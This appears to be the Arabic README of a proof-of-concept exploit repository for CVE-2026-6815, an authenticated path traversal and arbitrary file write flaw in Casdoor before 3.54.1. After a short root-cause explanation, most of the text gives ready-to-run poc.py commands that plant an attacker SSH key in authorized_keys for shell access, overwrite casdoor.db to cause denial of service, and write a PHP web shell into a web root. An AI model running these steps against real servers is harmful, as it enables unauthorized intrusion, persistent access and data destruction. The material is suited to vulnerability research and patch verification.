
إثبات مفهوم مصادق عليه لثغرة اجتياز المسار وكتابة ملفات عشوائية في Casdoor <3.54.1، مما يتيح RCE عبر حقن مفتاح SSH، أو رفع شل ويب، أو DoS مستمر عبر إتلاف قاعدة البيانات.
يحتوي هذا المستودع على استغلال إثبات المفهوم (PoC) لـ CVE-2026-6815، وهو ثغرة كتابة ملف عشوائي واجتياز المسار في Casdoor.
تم إصلاح الثغرة في الإصدار 3.54.1.
يجب أن يكون المهاجم مصادقًا عليه في مثيل Casdoor بصلاحيات مدير أو مستخدم مكافئ لديه صلاحية إنشاء و/أو تعديل موفري التخزين.
.ssh/authorized_keys، أو crontabs، أو webroots.casdoor.db) أو الملفات الثنائية الأساسية بملفات عشوائية تؤدي إلى إيقاف التطبيق فورًا.يسمح Casdoor للمدراء بتكوين موفري التخزين. يفشل موفر نظام الملفات المحلي (Local File System) في تعقيم تكوين pathPrefix ومعلمة fullFilePath بشكل صحيح أثناء تحميل الموارد.
باستخدام تسلسلات اجتياز الدليل (../)، يمكن للمدير المصادق عليه الخروج من دليل التخزين المخصص وكتابة الملفات في أي مكان يملك فيه عملية Casdoor الصلاحيات.
تنبع الثغرة من عدم كفاية التحقق من المسار في:
object/provider.go: لا يوجد تحقق من pathPrefix أثناء الإنشاء/التحديث.storage/local_file_system.go: لا تتحقق طريقة GetFullPath مما إذا كان المسار الذي تم حله يظل ضمن الصندوق الرملي المقصود.تثبيت التبعيات:
pip install -r requirements.txt
تشغيل الاستغلال:
python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
كتابة مفتاح عام يتحكم فيه المهاجم إلى ملف authorized_keys لمستخدم casdoor للحصول على وصول SSH.
إنشاء مفتاح SSH:
ssh-keygen -f casdoor_rce
استبدال authorized_keys بالمفتاح العام المُنشأ:
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys
الحصول على شل SSH على المضيف البعيد باستخدام المفتاح الخاص:
ssh -i ./casdoor_rce casdoor@target
استبدال ملف قاعدة البيانات المحلية للتطبيق (مثل casdoor.db) للتسبب في رفض الخدمة.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
إذا كان الخادم يستضيف خادم ويب ثانوي (مثل Apache/Nginx) على نفس نظام الملفات، فاكتب شل ويب في جذر المستندات الخاص به.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
إذا كانت لديك بيانات اعتماد إدارية لمؤسسة وتطبيق محددين (بخلاف الافتراضيين built-in و app-built-in)، فحددهم باستخدام --orgname و --appname.
python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt
هذا البرنامج مخصص للأغراض التعليمية واختبار الأمان المصرح به فقط. المؤلف غير مسؤول عن أي سوء استخدام لهذه المعلومات.
تم اكتشاف الثغرة وتطوير إثبات المفهوم بواسطة Danilo Dell'Orco (sixpain).